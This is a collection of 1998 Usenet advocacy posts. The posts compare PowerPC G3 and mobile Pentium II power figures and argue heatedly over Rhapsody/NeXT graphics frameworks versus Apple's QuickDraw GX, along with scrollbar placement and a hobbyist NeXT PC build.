http://www.chips.ibm.com/products/ppc/documents/datasheets/750/ppc750new.html
the G3 (PPC 750) power consumption is (typical/max)
5.6/8.8W at 233 MHz,
6.5/9.8W at 266 MHz,
6.7/10.1W at 275 MHz,
7.3/11.0W at 300 MHz.
According to
http://www.infoworld.com/cgi-bin/displayStory.pl?98042.ecmobile.htm
"Intel begins Mobile Pentium II rollout in Taiwan"
The 233 MHz version uses 7.5W (typical) and the 266 MHz version
uses 8.6W typical.
This is basically the Intel press release at :
http://www.intel.com/pressroom/archive/releases/mp040298.htm.
According to the Intel data sheet at
http://developer.intel.com/design/mobile/datashts/243669.htm
the typical power consumptions are left blank (see page 59 of 87 in the
PDF document).
The maximum power use is 10.6 W at 233 MHz and 12.1W at 266 MHz.
*** The advertising copy that makes no mention of numbers is at
http://www.intel.com/mobile/pentiumii/micron.htm
(Anyone complaining about Apple's G3 ads should look here.)
****
It would appear that the 233 MHz P-II uses (34%/20%) more power
(typical/peak) than the 233 MHz PPC 750.
As Intel writes (in http://www.intel.com/businesscomputing/small/tips/)
(The 266 MHz Pentium-MMX processor)
"Producted with Intel's advanced 0.25 micron manufacturing
process, this processor reduces energy consumption by 53%,
giving you "surplus" power for desktop-equivalent features
like high-resolution color displays, 24X CD-ROM players,
USB support....."
***
-arun gupta
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 3 Apr 1998 00:43:00 -0600
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6g20i8$gki1@odie.mcleod.net>
References: <6g0au4$3a8$1@ns3.vrx.net> <B14950AB-30914@206.165.43.94>
Lawson English wrote in message ...
>Now, back to your point about color control. Much of GX vector graphics
>color already exists in Rhaposdy. However, GX color applies equally to
>bitmaps. Not so, as I understand it, with Rhapsody color. You might be able
>to put a bit of NSText on top of a bitmap using the equivalent of GX Inks,
>but can you take that text, use it as a mask for a bitmap, and then apply
>that bitmap to another bitmap with the same level of control?
>
>Not from what I have been told.
>
If you resort to Postscript code or the provided C function equivelents,
this is easily done. Noone has seen fit to put a proper OO interface on
this capability. Where do you get the idea that these things can not be
done ? Are you TOTALY ignorant ?
>
>No. This whole "Rhaposdy is better" thing really boils down to "I can do
>what *I* need and to hell with innovation in the area of 2D graphics since
>I don't care about anyone else's needs besides my own."
>
GX is probably much more capable when it comes to Asian languages and font
issues. I really do not know what the issues are. However, for a year you
have been complaining that you will not be able to do this that or the other
thing in Rhapsody. In that time you have evidently not even attepted to do
them or investigate the feasibility. How many hundreds of times do people
have to correct you by saying, "Of cource you can do that." Your usually
respond by saying, "but that is not the way I want to do it." There is
more than one way to do something and I can hardly put much credence in your
preferences when you continually demonstrait ignorance of the alternatives.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 3 Apr 1998 00:54:12 -0600
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6g2178$gki2@odie.mcleod.net>
References: <6g0gvb$3a8$11@ns3.vrx.net> <B1497FDF-3099F@206.165.43.12>
Lawson English wrote in message ...
>Most graphics apps need to be able to provide at least some text services.
>Certainly, Freehand and Illustrator provide some. GX provides every text
>service that I've seen for such an application and allows you to mix 2-byte
>languages while doing it. It even handles the Unified Hangul problem, which
>Unicode doesn't handle.
>
>> > that market. Please show me how to write the equivalent level of
>> > text-control using Rhaposdy? With GX, the control is already there. You
>> > just need to apply word-wrap yourself.
>>
>> I think OS does that too.
>
>I believe that you are wrong. I can point you to the GX typography manual
>and point out the specific places where I suspect that OS doesn't provide
>the same level of control without dropping down to DPS, which kinda makes
>things a little difficult to do from a higher level, doncha agree?
>
>Want some examples?
>
>>
[...]
Obviously GX has some text control that Rhapsody lacks. Rhapsody has many
many features that all previous Apple products lack.
>But the things that *I* want to do aren't available. For instance, can you
>prototype new graphical interfaces within Rhapsody using a standardized
>OOP/Object-based graphics engine?
>
>Nope. Because
>
>1) there's no such 2D engine in Rhapsody
>
>2) there's no such 3D engine in Rhaposdy.
>
Try Objective-Tcl
How do you think YB supports so many different GUIs ?
There is NO BETTER place than YB to prototype new graphical interfaces.
Use the NSBezier, NSText, NSFont, NSColor, etc. classes for your standard OO
graphics.
Some 3D engine wil certainly be available.
>I can do this using HyperCard and GXFCN. I'm also looking at the
>feasability of using QD3D from within HC. Since QD3D already knows how to
>draw directly into a GX viewport, I can create a GX viewport and use QD3D
>commands to render into it. I could (in theory, since there's some problems
>with HC and shared libraries, apparently) then prototype any new kind of
>2D/3D interface using an interpreted language. If I can get QD3D working
>the same way that GXFCN does, you could have any and every HC programmer in
>the world dabbling away using this.
>
>
If you try to do any signifigant experimental user interface prototypes in
HyperCard you will fail. HyperCard is too slow to acuartly prototype the
feel of anything complex. HyperCard is also a large project/software
engineering night mare. How do you propose to integrate the worky of 20-100
seperate programmers ?
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 3 Apr 1998 08:05:08 GMT
Organization: @Home Network
Message-ID: <6g257k$n50$3@ha2.rdc1.sdca.home.com>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94> <rmcassid-0204981412130001@dante.eng.uci.edu>
rmcassid@uci.edu wrote:
>In article <B1494835-10C21@206.165.43.94>, "Lawson English"
><english@primenet.com> wrote:
>
>>rmcassid@uci.edu said:
>>
>>>
[Snip Lawson English .vs. ???? debate]
Lawson AND RMCassity share a kernel of truth in their respective positions
for which I agree with both. So let's move on...
>>>
>>
[snip, snip...]
>
>>WinCE wasn't a contender in this market and
>>likely wouldn't be now if NewtonOS had been marketed properly.
>
>WinCE was a contender as many developers don't even see the Pilot as a
>competitor. WinCE is an extension of Windows, not a competitor in the PDA
>market. *That* is part of the perception. *That* is what MS will use to
>get a position in the market. All of a sudden there is this huge grey area
>between a PDA and a laptop that can be filled, and only MS can fill it
>right now.
>
Heads-UP... This is an easy to parse, candid snapshot of the "current"
marketplace.
>It'll be used to knock the NC and JavaOS on it's ass in this
>market.
>
>
So how does that "affect" Apple? And does "this market" change? When?
-r
Rex Riley
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 02:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B149F497-71541@206.165.43.119>
References: <6g2178$gki2@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
> >
> >Nope. Because
> >
> >1) there's no such 2D engine in Rhapsody
>
> >2) there's no such 3D engine in Rhaposdy.
> >
>
> Try Objective-Tcl
Ickle. HyperCard is much more widely used. QTI will be even more widely
used.
> How do you think YB supports so many different GUIs ?
> There is NO BETTER place than YB to prototype new graphical interfaces.
> Use the NSBezier, NSText, NSFont, NSColor, etc. classes for your standard
> OO
> graphics.
But these aren't coherent yet. There's no system-wide OOP graphics
standard. There's no universally accepted equivalent of a GX picture shape.
You guys use EPS graphics as your standard. Try defining an interactive
dialog box using EPS. I want to swap a rectangular button for a circular
one. Right now, you'd have to apply some kind of new programming object.
Why? Why not use a new graphical object to define the frame of the button,
instead? I shouldn't have to define new types of buttons to get new
appearances. I should be able to just tell the button to use a different
shape. Cant do this with Rhapsody currently.
Why not? There's no accepted way to do this because there's no
well-defined graphical standard above the DPS level. NSText, NSBezier,
NSetc are a start, but where's the equivalent of a GX picture shape that
all applications and controls and so on can refer to? I mean, Rhapsody
graphics obviously has far more potential than GX graphics ever did, but
right now, GX exists. Rhaposdy graphics is a bunch of quasi-related classes
with no real coherence. Or at least I haven't heard anyone claim that
there's coherence in the sense that GX or Taligent has.
> Some 3D engine wil certainly be available.
Um, yes, but what? OpenGL? You'll need an OOP framework to use it the way
QD3D is useable currently. HyperCard developers *should* (if I can get
shared libraries working right) be able to work directly with QD3D objects
using the QD3D API from within HyperTalk. Until the Rhaposdy OpenGL-kit is
implemented and integrated properly, you wont be able to do what HC + QD3D
could do (or at least that I hope that they can do).
And GX and QD3D were converging (they sorta have within QTML). Since we
don't even have a fully developed 2D library available yet in Rhaposdy ,
and aren't even sure what 3D library will the be the standard, I'm pretty
sure that 2D-3D integration isn't very far along yet.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: fellowsd@cs.man.ac.uk (Donal K. Fellows)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 09:26:30 GMT
Organization: Dept of Computer Science, University of Manchester, U.K.
Message-ID: <6g2a06$epk$1@m1.cs.man.ac.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523BD7A.3CFA@be1151.pd3.ford.com>
In article <3523BD7A.3CFA@be1151.pd3.ford.com>,
Aaron R Kulkis <akulkis@be1151.pd3.ford.com> wrote:
> Who started this nonsense of putting the scrollbars on the bottom
> and left, rather than the top and right????
I think it might come from the fact that if you have a system where
the scrollbars can be dynamically added to the scrolled area, then
having them bottom-right means that the adding typically doesn't move
the scrolled area on the screen.
IMHO, of course, the sides they are attached to should be configurable
by users... :^)
Donal.
--
Donal K. Fellows http://r8h.cs.man.ac.uk:8000/ fellowsd@cs.man.ac.uk
Department of Computer Science, University of Manchester, U.K. +44-161-275-6137
--
Never underestimate the power of the penguin...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
From: no_spam_frank@ifi.unibas.ch
Message-ID: <3524bac0.0@maser.urz.unibas.ch>
Date: 3 Apr 98 10:32:32 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> no_spam_frank@ifi.unibas.ch wrote:
>
> > I too, wasn't too happy about that, but I just recently found a
> > very good reason for having them there ...
> > http://www.ifi.unibas.ch/Groups/Staff/frank/scrollers.html
>
> I have to admit, this is a really compelling argument for left-handed
> scrollbars...
>
> > As to Mike's other complaints, the way I see it is that he has his
> > own 'view' of a system (he even says so), and when he first worked
> > with NEXTSTEP, this view didn't fit in any way with the way
> > NEXTSTEP worked, os, of course, `nothing worked'.
>
> Okay, fine. Is it just impossible for anybody to actually *EXPLAIN* what
> this odd new view is, or do you have to pick it up by osthmosis? Is it
> contagious, or is there a genetic determinant: some "get it" and some
> don't?
>
> Forgive me, but this is sounding eerily like all those hollow postings
> on comp.sys.mac.advocacy wherein Mac fans say something along these
> lines: "You're a PC luser, you can't understand why a Mac is better
> until you *use* it. Once you really *experience* the full monty, you'll
> finally comprehend why we pay twice as much for hardware and software.
> But you have to catch the wave first."
>
> See, I was one of those people once upon a time. And (again) forgive me,
> but those people are just plain WRONG.
I wasn't in any way implying that your view was wrong - I dont't beleive
that there is any 'right' or 'wrong' in these personal matters. I just had
the impression that you expectations didn't match what NEXTSTEP had to
offer. It must be considered a coincidence that I very much favour most of
NEXTSTEP's way. *I* won't force others to use it, nor do I consider those
who prefere other interfaces 'stupid'.
In general, I very much agree that the computer should be adapted to the
user's preferences and not the other way around.
- Robert
--
Institut fuer Informatik tel +41 (0)61 321 99 67
Universitaet Basel fax. +41 (0)61 321 99 15
Robert Frank
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT,MIME mail ok)
CH-4056 Basel (remove any no_spam_ from my return address)
Switzerland
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <35244fdb.0@206.25.228.5> <B149BFFA-1E8F39@204.210.20.147>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35249d72.0@206.25.228.5>
Date: 3 Apr 98 08:27:30 GMT
"William V. Campbell Jr." <wcampbe1@san.rr.com> wrote:
> What's the deal? Is it that the likes of Kinder, Jonathan, et
> al, cannot see or do they refuse to see. I cast my vote for the
> latter. If one disagrees that is one thing, but to hold a position
> or opinion in face of irrefutable facts is stupidity. Further
> more *they change their position or opinion* whenever one is shot
> down for one that is even more absurd...... ahhh the agony! :-)
Well. I have an answer. It has to do with a friend of a Captain.
But I won't say more than that for now. :)
> Maybe John, you love going around in circles with these guys.
> Maybe I'm missing the whole point of newsgroups such as this one.
> If so, I stand to be corrected.
Well, I certainly don't like going round and round. I do that
sometimes to just make sure that such statements are debunked and
not accepted as truths. Honestly, I often get tired of it and bail
on posting, and thankfully someone else picks up the debunking
torch. That being said, I'm sure I put up my share of bunk. Though
I usually do so out of my seemingly endless reservoir of ignorance.
However, I'm pretty happy when someone shows me just how wrong I
am about something; they've just cured me of a little bit of
ignorance. Anyway, I do think a bit of what usenet ends up being
about is going round and round a bit. It is a dialogue where people
espouse views and whatnot. And just like in a real world argument,
people go back and forth a bit. That's good, IMO. What stinks
about usenet is so much nonverbal communication can't be conveyed,
so people miss each other's meanings frequently, which, I believe,
increases the back and forth cycles. Well, that's my best explanation
at this moment; one I'm sneaking away from doing an icky software
patent (boo hiss :) on a GUI element.
> Well anyway, I've learned more about YB,OC,OO,IB than I really
> cared to know.I can't say that it's not interesting. At times I
> leave this group with my head spinning. Looking forward to more
> interesting threads.
I think that's another usenet mission accomplished. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <35244fdb.0@206.25.228.5> <B149BFFA-1E8F39@204.210.20.147>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35249ef9.0@206.25.228.5>
Date: 3 Apr 98 08:34:01 GMT
"William V. Campbell Jr." <wcampbe1@san.rr.com> wrote:
> they really have a problem with. In Rex's case, it's I liked NexT
> then, but now that Apple owns it they will screw it up. HEY,
> didn't and doesn't the same guy run both companies?
> Please stop with this *well Apple has made so many mistakes in
> the past crap.* THIS IS NOT THAT APPLE. They have an entirely
> new Board of Directors, a new CEO,(abeit,interim), new engineers,
> and new heads for every important department. This is NExT running
> Apple, not the other way around!
Again, I can't speak for Rex, but I think he is worried about NeXT
running Apple. NeXT and it's management made plenty of strategic
errors. I would hope they don't repeat them at Apple. Arguably,
they already did by announcing the dumping of the NewtonOS with
no readily available replacement; that is akin to the way NeXT
dumped hardware with no ready replacement product.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: ppai@soback.kornet.nm.kr
Newsgroups: comp.sys.next.advocacy
Subject: [Info] finish! NeXTstationPC based on Pentium
Date: 3 Apr 1998 13:26:07 GMT
Organization: Korea Telecom
Message-ID: <6g2o1f$ev5$4@news.kornet.nm.kr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
At last week, We finished NeXTstationPC based on Pentium 200Mhz.
Here is the photo:
ftp://pixie.kaist.ac.kr/pub/images/etc/NeXTpc_completed.jpg
Unfortunately, I could not take a photo that inside of the NeXTstationPC.
Sorry and please wait.
That NeXTstationPC consisted with Millenium, 64MB RAM, EIDE HDD,
Pentium 200Mhz CPU, AT type Pentium motherboard(small cubic size),
PC power supply(case off), serial, parallel, mouse, keyboard port.and
special PCI slot-cables.
NeXTstationPC with Apple 20" monitor, my friends and our monthly NeXT
meeting:
ftp://pixie.kaist.ac.kr/pub/images/etc/19980328_NeXTmeeting_1.jpg
p.s. If you have any question, Please send me mail.
Thanx,
younghoon KIL from South Korea.
ppai@soback.kornet.nm.kr (NeXTMail OK)
http://soback.kornet.nm.kr/~ppai ("ppai News": Q&A and Discussion Board)
http://bbs.para.co.kr/~ppai ("ppai News2": News Board)
(The Web site contains 7,000 articles about NEXTSTEP, OPENSTEP, Rhapsody,
Digital Entertainment and BeOS)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 10:02:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2c4h$m4p$2@ns3.vrx.net>
References: <6g20i8$gki1@odie.mcleod.net> <B149E99C-480C9@206.165.43.119>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B149E99C-480C9@206.165.43.119> "Lawson English" claimed:
>> You're saying that PS/DPS has built into it bitmap handling that
implements
> all of the functionality of GX ink objects so that you can draw a bitmap
> and achieve the same image that GX does using a single function at the PS
> level so that it all gets done in a single pass through the bitmap?
And this is a perfect example of the pointless troll posts you've been
making since you started this flap. He didn't say ANYTHING about ANYTHING to
do with GX, he said a lot about YOU. Yet here are are replying about GX.
> In other words, you'd need to have a DPS primitive for bitmap drawing that
> does what GX does in every case.
Exactly our point. Obviously the only good way to do anything is the way
GX does it.
[huge pointless example snipped]
> You're saying that DPS already contains a single primitive that handles the
> above in one-pass drawing for a bitmap?
Who cares if it does or not? Do you think GX does this with one line of
code internally?
> Oh yes, and here's that primitive:
>
> GXDrawShape(myBitmap);
Aside from all the other setup issues you mean.
> Which is why I keep saying: as long as the equivalent GX primtives are not
> implemented on the DPS side, I couldn't possibly implement an OOP
> equivalent of GX in Rhaposdy.
I guess you're just pointing out how bad a programmer you are, or
alternately how lazy you are. The fact that the GX team did exactly this
WITHOUT DPS to start from suggests they could have done it five times faster
with it and YB.
You blast us for saying "why would anyone do that", yet your entire
aregument is "I don't know how to do that". Yeah well, you know, we don't
care.
Maury
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: Re: G3, Intel mobile P-II
Followup-To: comp.sys.next.advocacy,comp.sys.powerpc.tech
Date: 3 Apr 1998 15:22:46 GMT
Organization: University of Maryland, College Park
Message-ID: <6g2us6$ero$1@hecate.umd.edu>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: According to the product brief at
: http://www.chips.ibm.com/products/ppc/documents/datasheets/750/ppc750new.html
: the G3 (PPC 750) power consumption is (typical/max)
: 5.6/8.8W at 233 MHz,
: 6.5/9.8W at 266 MHz,
: 6.7/10.1W at 275 MHz,
: 7.3/11.0W at 300 MHz.
: According to
: http://www.infoworld.com/cgi-bin/displayStory.pl?98042.ecmobile.htm
: "Intel begins Mobile Pentium II rollout in Taiwan"
: The 233 MHz version uses 7.5W (typical) and the 266 MHz version
: uses 8.6W typical.
: This is basically the Intel press release at :
: http://www.intel.com/pressroom/archive/releases/mp040298.htm.
: According to the Intel data sheet at
: http://developer.intel.com/design/mobile/datashts/243669.htm
: the typical power consumptions are left blank (see page 59 of 87 in the
: PDF document).
: The maximum power use is 10.6 W at 233 MHz and 12.1W at 266 MHz.
: *** The advertising copy that makes no mention of numbers is at
: http://www.intel.com/mobile/pentiumii/micron.htm
: (Anyone complaining about Apple's G3 ads should look here.)
: ****
: It would appear that the 233 MHz P-II uses (34%/20%) more power
: (typical/peak) than the 233 MHz PPC 750.
: As Intel writes (in http://www.intel.com/businesscomputing/small/tips/)
: (The 266 MHz Pentium-MMX processor)
: "Producted with Intel's advanced 0.25 micron manufacturing
: process, this processor reduces energy consumption by 53%,
: giving you "surplus" power for desktop-equivalent features
: like high-resolution color displays, 24X CD-ROM players,
: USB support....."
: ***
: -arun gupta
The Intel numbers include the power feed to the L2 cache. (since there is
no option there) The G3's numbers do not include the L2 cache, since
the CPU is sold separately from the L2, and the size of L2 is variable.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 10:29:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2dn1$m4p$3@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>
<rmcassid-0104981421190001@dante.eng.uci.edu> <slrn6i6bg4.j6l.sal@panix3.panix.com>
<rmcassid-0204980855490001@dante.eng.uci.edu> <6g0b94$3a8$3@ns3.vrx.net>
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Cc: rmcassid@uci.edu
In <rmcassid-0204981354230001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> I think the two are fundamentally different. The advantage to AS in QT is
> that scripts can then be time keyed or action keyed. That is, you could
> have a script that executes 5.3 seconds after a certain action or have a
> script that is executed after a certain event happens - sprite gets to a
> certain place, object gets rotated to a certain orientation, whatever. You
> could do it the other way around but it'd be far more complicated, IMO.
>
> I don't see the two as mutually exclusive, however. I want both.
I'm not sure this implies that the _script language_ has to be different.
Or even the interpreter to drive it.
> It's not speed but being time aware.
I see what you mean, but I'm not sure that HC-under-QT "knows" this - or
that even if it does that AS-under-QT wouldn't. I've been using HC for going
on 10 years now, and I don't see it as having any specific advantage here.
> I think QT will have scripts as tracks. The question is, what kind of
> scripts - Hypertalk or AS? Editing would require YB.
Well _maybe_. The bytecode interpreter/compiler for either is likely the
same size.
> It is a bit pricy - but really worth it based on the kinds of results that
> you can get. I suppose the 'VB is cheaper' argument comes out - but it's a
> pointless argument. You pay based on results, not based on what the other
> guy pays.
True. I just think the issue here is that lots of people are missing out
because they have to _buy_ it, and lets face it, AS doesn't have the greatest
rep outside specific uses. I think that if FaceSpan and Scripter were sold
with your Mac, there'd be a LOT more people using AS, and AS would be a lot
better (due to use demand).
As it is it seems AS has a big following only in a few specific markets
(where it's terribly useful), and I think this is a crime - but I also think
it's _because_ powerful tools like FS are needed to "make it work" for most
people, and unless they see it they'll never know. I'm convinced that FS +
Scriper + AS IS a replacement for "classic" HC (speed issues aside, and
likely to be solved shortly) but I think that with the $199 price for
Scripter, and the $295 price for FS, that people simply can't afford to try.
So that's what I'd like to see in the future, an "entry level" sort of
solution that can get people excited about the technology, a tech that I
think has the ablity to have a very serious effect on the _average_ user.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 10:42:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2efa$m4p$4@ns3.vrx.net>
References: <6g0gvb$3a8$11@ns3.vrx.net> <B1497FDF-3099F@206.165.43.12>
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In <B1497FDF-3099F@206.165.43.12> "Lawson English" claimed:
> Most graphics apps need to be able to provide at least some text services.
You're right, so I looked at what I had to do this. I think aside from
setup code and such, it's about ten lines. Not bad for something that's
completely Unicode aware, hosts every WP-type feature I could ever want, and
could even have rulers if it needs them.
> I believe that you are wrong. I can point you to the GX typography manual
> and point out the specific places where I suspect that OS doesn't provide
> the same level of control without dropping down to DPS, which kinda makes
> things a little difficult to do from a higher level, doncha agree?
No. No I don't. This is where I have been trying to correct you for
MONTHS and you JUST WON'T LISTEN.
Lawson, before I started here I had never written a SINGLE line of code for
a commercial app. I'be ber here _just_ over two months now, and by the time
I get to WWDC I'm going to have the world's most SMOKIN KICK ASS diagram app.
I don't care if I had every good API Apple's ever put out, this level of
productivity is IMPOSSIBLE under current tools on either the Mac or the PC.
Period. PERIOD.
So who the heck cares if I have to spend one day figuring out how to get
DPS to do what I want? OS4.2 has saved me MONTHS for doing everything else.
Would a complete GX help me? Yeah, it would likely cut 10% of my programming
time. Do I care about that? Sure, I suppose. Do I _really_ care? No, not
really.
Take your HARDEST example Lawson and turn that into a commercial level app.
I'll bet I could duplicate it feature for feature in less than half the
time.
You have no point.
> But the things that *I* want to do aren't available.
Lawson, I don't believe that for a single instance. I fully believe you
have no idea either what you want to do, or what is or is not possible.
> For instance, can you
> prototype new graphical interfaces within Rhapsody using a standardized
> OOP/Object-based graphics engine?
In fact, I'll use mine.
> Nope. Because
>
> 1) there's no such 2D engine in Rhapsody
Actually there's a whole bunch, all the ones people bundleized under OS4.x.
> 2) there's no such 3D engine in Rhaposdy.
Actually, there's a whole bunch, all the ones people bundleized under
OS4.x.
> I can do this using HyperCard and GXFCN.
Really? "there's no such engine(s) in Rhaposdy".
> In response to the same erroneous claims about GX, CD, OD, etc.
Which exactly? Come on, point them out.
> Who? Apple is NOT taking GX and doing anythign with it. Not really. When
> will we see support for non-TT/Type1 fonts in Rhaposdy?
Who cares? No one has these anyway. I've seen something on the order of
1000 Macs in my life, and I've yet to see one running GX.
> support the "industry standard" font types
I hope so!
> And Brad Hutchings, who knows far more about CD and OD than you do, insists
> that there are many things that CD does that can only be done by having a
> document-oriented component system like OD.
And me, who knows a lot more about Rhapsody than either of you, thinks
you're both wrong. As do all the other people that have actually USED it.
> anything more than "no there are not," without giving any proof to back
> your claims up.
Which is apparently so much different than your claims? At least I've
_used_ CD.
> How does Rhaposdy do this? How do you do it without defining something like
> OD?
Duh, you change the extension mapping.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 10:54:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2f4f$m4p$5@ns3.vrx.net>
References: <6g2178$gki2@odie.mcleod.net> <B149F497-71541@206.165.43.119>
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In <B149F497-71541@206.165.43.119> "Lawson English" claimed:
> > Try Objective-Tcl
>
> Ickle. HyperCard is much more widely used. QTI will be even more widely
> used.
Than TCL? Where's the proof? I don't believe this is true at all.
> But these aren't coherent yet. There's no system-wide OOP graphics
> standard.
So what?
> There's no universally accepted equivalent of a GX picture shape.
So what?
> You guys use EPS graphics as your standard.
So what?
> Try defining an interactive dialog box using EPS.
This is where your comments become moronic. let me see if I get this right
- I have the entire power of the YB available to me to do precisely these
tasks, yet I'm supposed to toss all of that and use DPS to hand draw it? Are
you seriously going to suggest that drawing it in GX is going to be easier
than YB/IB? HA!
> I want to swap a rectangular button for a circular one.
Trivial! I can do that without any code!
> Right now, you'd have to apply some kind of new programming object.
Balogna!
> Why? Why not use a new graphical object to define the frame of the button,
WRONG WRONG WRONG WRONG WRONG. So wrong it's not even funny. For the most
part what Apple calls "buttons" under Mac OS don't even HAVE a graphical
state under YB. Instead you have button CELLS which go inside BUTTONS, which
go inside OBJECTS. As good design would dictate the SHAPE of the objects is
not handled by the same object as the BEHAVIOUR. The fact that it does on
the Mac is BAD DESIGN.
For instance I have a scrolling list of "radio buttons" in my app, it's an
important part of the UI. Support it took exactly zero lines of code.
Making it work took another zero lines. The neat thing is that it doesn't
even look like buttons, they look like text. That's because I didn't bother
asigning a shape to them.
And even then your argument is wrong...
a) is GX's button shape going to magically create itself? No, you'll have to
write it.
b) is MacOS magically going to start using GX to draw buttons? Nope, and
you'll have a REAL hard time doing that
c) your prototype needs to be _completely_ recoded in order to be used in a
product. Under YB the prototype typically IS the GUI.
> instead? I shouldn't have to define new types of buttons to get new
> appearances.
And you don't.
> I should be able to just tell the button to use a different
> shape. Cant do this with Rhapsody currently.
Wrong.
> Why not?
Because you're wrong.
> Um, yes, but what? OpenGL? You'll need an OOP framework to use it the way
> QD3D is useable currently.
Here it is again "obviously the current way is the only good way". What if
you're porting a OpenGL app from another platform to Rhapsody? Is QD3D the
way to go then? I'd say there's a lot more OpenGL ports coming to Rhapsody
than QD3D ones!
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 3 Apr 1998 16:53:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ia4vh.pfp.sal@panix3.panix.com>
